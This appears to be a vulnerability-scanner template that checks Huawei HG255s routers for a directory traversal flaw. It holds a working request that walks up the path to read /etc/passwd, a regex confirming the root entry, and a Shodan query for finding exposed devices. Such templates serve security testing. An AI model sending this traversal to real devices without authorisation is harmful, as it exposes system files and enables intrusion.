28 lines
571 B
YAML
28 lines
571 B
YAML
|
id: huawei-hg255s-lfi
|
||
|
|
||
|
info:
|
||
|
name: Huawei HG255s - Directory Traversal
|
||
|
author: 0x_Akoko
|
||
|
severity: high
|
||
|
reference:
|
||
|
- https://cxsecurity.com/issue/WLB-2017090053
|
||
|
- https://www.youtube.com/watch?v=n02toTFkLOU
|
||
|
metadata:
|
||
|
shodan-query: http.html:"HG532e"
|
||
|
tags: huawei,lfi,router
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: regex
|
||
|
regex:
|
||
|
- "root:[x*]:0:0"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|